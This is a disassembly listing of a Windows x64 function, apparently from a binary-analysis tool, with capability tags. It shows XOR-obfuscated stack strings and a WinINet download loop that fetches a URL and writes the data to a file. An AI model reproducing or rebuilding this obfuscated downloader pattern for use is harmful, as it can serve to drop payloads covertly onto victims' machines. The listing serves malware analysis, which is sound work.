Function at 0x1400050e0
Capabilities:
Contain obfuscated stackstrings
Create http request
Download and write a file
Encode data using xor
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x510]
sub rsp, 0x610
mov rax, qword [0x140155010]
xor rax, rsp
mov qword [rbp + 0x500], rax
mov rbx, rcx
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
lea r13, [rbp + 0x538]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xd0], r13
mov r14, qword [r13]
xor r14, rax
mov qword [rbp + 0xc0], r14
mov qword [r13], r12
lea rcx, [rbp + 0x70]
call fcn.140003110
nop
mov rcx, rax
cmp qword [rax + 0x18], 8
jb 0x140005170
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
call fcn.140059d34
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rbp + 0xd8]
call fcn.140008e00
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 8
jb 0x1400051e8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400051e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400051e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005a898
movdqa xmm0, xmmword [0x1401486e0]
movdqu xmmword [rbp + 0x80], xmm0
mov word [rbp + 0x70], r12w
mov dword [rsp + 0x30], 0x2e734d7b
mov dword [rsp + 0x34], 0x6e6962
lea rax, [rsp + 0x31]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140005220
lea rdx, [rsp + 0x31]
lea rcx, [rbp + 0xd8]
call fcn.140008aa0
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0xa0]
call fcn.140006dc0
nop
cmp qword [rbp + 0xb0], 0
jne 0x1400053e7
mov dword [rsp + 0x30], 0x7272456f
mov word [rsp + 0x34], 0x726f
mov byte [rsp + 0x36], 0
movdqa xmm0, xmmword [0x1401495b0]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140149500]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x140149590]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x140148f90]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x140148f50]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1401488b0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x1401488c0]
movdqa xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x495e781d
mov byte [rbp - 0x1c], 0
mov rcx, r12
nop dword [rax + rax]
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x71], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x72], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x73], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x74], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x75], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x76], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x77], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x78], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x79], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7a], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7b], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7c], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7d], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7e], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7f], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x80], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7f], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7e], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7d], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7c], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7b], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7a], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x79], al
add rcx, 0x17
cmp rcx, 0x73
jb 0x1400052e0
mov byte [rbp - 0x1c], 0
mov r9d, 0x10
lea r8, [rsp + 0x31]
lea rdx, [rsp + 0x71]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov dword [0x14016e360], r12d
xor bl, bl
jmp 0x140005960
mov dword [rsp + 0x50], 0x41794d09
mov dword [rsp + 0x54], 0x746e6567
mov byte [rsp + 0x58], 0
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [rsp + 0x51]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
jne 0x1400055aa
mov cl, 2
mov word [rsp + 0x50], 2
movsx ecx, cl
movzx eax, cx
xor ax, 0x47
mov word [rsp + 0x52], ax
movzx eax, cx
xor ax, 0x70
mov word [rsp + 0x54], ax
mov word [rsp + 0x56], ax
xor cx, 0x6d
mov word [rsp + 0x58], cx
mov word [rsp + 0x5a], ax
mov word [rsp + 0x5c], r12w
lea rdx, [rsp + 0x70]
call fcn.140005a50
mov r9, rax
lea rdx, [rax + 2]
lea r8, [rax + 4]
lea r10d, [rsi + 5]
nop dword [rax + rax]
movsx ecx, byte [r9]
xor word [r8 - 2], cx
movsx ecx, byte [r9]
xor word [r8], cx
movsx eax, byte [r9]
xor word [r8 + 2], ax
movsx eax, byte [r9]
xor word [r8 + 4], ax
movsx eax, byte [r9]
xor word [r8 + 6], ax
movsx eax, byte [r9]
xor word [r8 + 8], ax
movsx eax, byte [r9]
xor word [r8 + 0xa], ax
movsx eax, byte [r9]
xor word [r8 + 0xc], ax
movsx eax, byte [r9]
xor word [r8 + 0xe], ax
movsx eax, byte [r9]
xor word [r8 + 0x10], ax
movsx eax, byte [r9]
xor word [r8 + 0x12], ax
movsx eax, byte [r9]
xor word [r8 + 0x14], ax
movsx eax, byte [r9]
xor word [r8 + 0x16], ax
movsx eax, byte [r9]
xor word [r8 + 0x18], ax
movsx eax, byte [r9]
xor word [r8 + 0x1a], ax
movsx eax, byte [r9]
xor word [r8 + 0x1c], ax
movsx eax, byte [r9]
xor word [r8 + 0x1e], ax
movsx eax, byte [r9]
xor word [r8 + 0x20], ax
movsx eax, byte [r9]
xor word [r8 + 0x22], ax
lea r8, [r8 + 0x26]
sub r10, 1
jne 0x140005480
mov word [rdx + 0xbe], r12w
xor r9d, r9d
lea r8, [rsp + 0x52]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
movdqa xmm0, xmmword [0x140149250]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x7a696c61
mov dword [rsp + 0x64], 0x69572065
mov dword [rsp + 0x68], 0x654e496e
mov word [rsp + 0x6c], 0x2174
mov byte [rsp + 0x6e], 0
lea rdx, [rsp + 0x51]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400092b0
lea rdx, [0x140009480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor bl, bl
jmp 0x140005960
cmp qword [rbx + 0x18], 0x10
jb 0x1400055b4
mov rbx, qword [rbx]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x100
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x14000574a
mov cl, 0xd
mov word [rsp + 0x30], 0xd
movsx ecx, cl
movzx eax, cx
xor ax, 0x48
mov word [rsp + 0x32], ax
movzx eax, cx
xor ax, 0x7f
mov word [rsp + 0x34], ax
mov word [rsp + 0x36], ax
xor cx, 0x62
mov word [rsp + 0x38], cx
mov word [rsp + 0x3a], ax
mov word [rsp + 0x3c], r12w
lea rdx, [rsp + 0x70]
call fcn.140005c10
mov r9, rax
lea rdx, [rax + 2]
lea r8, [rax + 4]
lea r10d, [rbx + 5]
nop word [rax + rax]
movsx ecx, byte [r9]
xor word [r8 - 2], cx
movsx ecx, byte [r9]
xor word [r8], cx
movsx eax, byte [r9]
xor word [r8 + 2], ax
movsx eax, byte [r9]
xor word [r8 + 4], ax
movsx eax, byte [r9]
xor word [r8 + 6], ax
movsx eax, byte [r9]
xor word [r8 + 8], ax
movsx eax, byte [r9]
xor word [r8 + 0xa], ax
movsx eax, byte [r9]
xor word [r8 + 0xc], ax
movsx eax, byte [r9]
xor word [r8 + 0xe], ax
movsx eax, byte [r9]
xor word [r8 + 0x10], ax
movsx eax, byte [r9]
xor word [r8 + 0x12], ax
movsx eax, byte [r9]
xor word [r8 + 0x14], ax
movsx eax, byte [r9]
xor word [r8 + 0x16], ax
movsx eax, byte [r9]
xor word [r8 + 0x18], ax
movsx eax, byte [r9]
xor word [r8 + 0x1a], ax
movsx eax, byte [r9]
xor word [r8 + 0x1c], ax
movsx eax, byte [r9]
xor word [r8 + 0x1e], ax
lea r8, [r8 + 0x22]
sub r10, 1
jne 0x140005640
mov word [rdx + 0xaa], r12w
xor r9d, r9d
lea r8, [rsp + 0x32]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
movdqa xmm0, xmmword [0x140148920]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x214c5255
mov byte [rsp + 0x44], 0
lea rdx, [rsp + 0x31]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400092b0
lea rdx, [0x140009480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor bl, bl
jmp 0x140005960
mov dword [rsp + 0x30], 0x627751
lea r15, [0x14016d740]
mov rcx, r15
cmp qword [0x14016d758], 0x10
cmovae rcx, qword [0x14016d740]
lea rdx, [rsp + 0x31]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
jne 0x1400058d3
movdqa xmm0, xmmword [0x1401494c0]
movdqu xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [0x1401488f0]
movdqu xmmword [rbp + 0x80], xmm1
mov word [rbp + 0x90], 0x20
lea rdx, [rbp + 0x71]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400092b0
cmp qword [0x14016d758], 0x10
cmovae r15, qword [0x14016d740]
mov r8, qword [0x14016d750]
mov rdx, r15
mov rcx, rax
call fcn.14000a920
lea rdx, [0x140009480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov cl, 0x36
mov word [rsp + 0x30], 0x36
movsx ecx, cl
movzx eax, cx
xor ax, 0x73
mov word [rsp + 0x32], ax
movzx eax, cx
xor ax, 0x44
mov word [rsp + 0x34], ax
mov word [rsp + 0x36], ax
xor cx, 0x59
mov word [rsp + 0x38], cx
mov word [rsp + 0x3a], ax
mov word [rsp + 0x3c], r12w
lea rdx, [rsp + 0x70]
call fcn.140005da0
mov r8, rax
lea r10, [rax + 2]
lea rcx, [rax + 4]
lea r9d, [rdi + 0xb]
movsx edx, byte [r8]
xor word [rcx - 2], dx
movsx edx, byte [r8]
xor word [rcx], dx
movsx edx, byte [r8]
xor word [rcx + 2], dx
movsx eax, byte [r8]
xor word [rcx + 4], ax
movsx eax, byte [r8]
xor word [rcx + 6], ax
movsx eax, byte [r8]
xor word [rcx + 8], ax
movsx eax, byte [r8]
xor word [rcx + 0xa], ax
movsx eax, byte [r8]
xor word [rcx + 0xc], ax
movsx eax, byte [r8]
xor word [rcx + 0xe], ax
movsx eax, byte [r8]
xor word [rcx + 0x10], ax
movsx eax, byte [r8]
xor word [rcx + 0x12], ax
lea rcx, [rcx + 0x16]
sub r9, 1
jne 0x140005841
mov word [r10 + 0xf2], r12w
lea r8, [rsp + 0x32]
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor bl, bl
jmp 0x140005960
mov dword [rbp + 0x98], r12d
lea r9, [rbp + 0x98]
mov r8d, 0x400
lea rdx, [rbp + 0x100]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140005943
nop dword [rax + rax]
mov eax, dword [rbp + 0x98]
test eax, eax
je 0x140005943
mov r8d, eax
mov r9, rdi
mov edx, 1
lea rcx, [rbp + 0x100]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
lea r9, [rbp + 0x98]
mov r8d, 0x400
lea rdx, [rbp + 0x100]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140005900
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov bl, 1
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1400059a4
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000599f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000599f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005a898
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0x10
jb 0x140005a02
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400059fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400059fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005a898
nop
movabs rax, 0xff00ff00ff00ff00
xor r14, rax
mov qword [r13], r14
movzx eax, bl
mov rcx, qword [rbp + 0x500]
xor rcx, rsp
call fcn.14005a5a0
lea r11, [rsp + 0x610]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret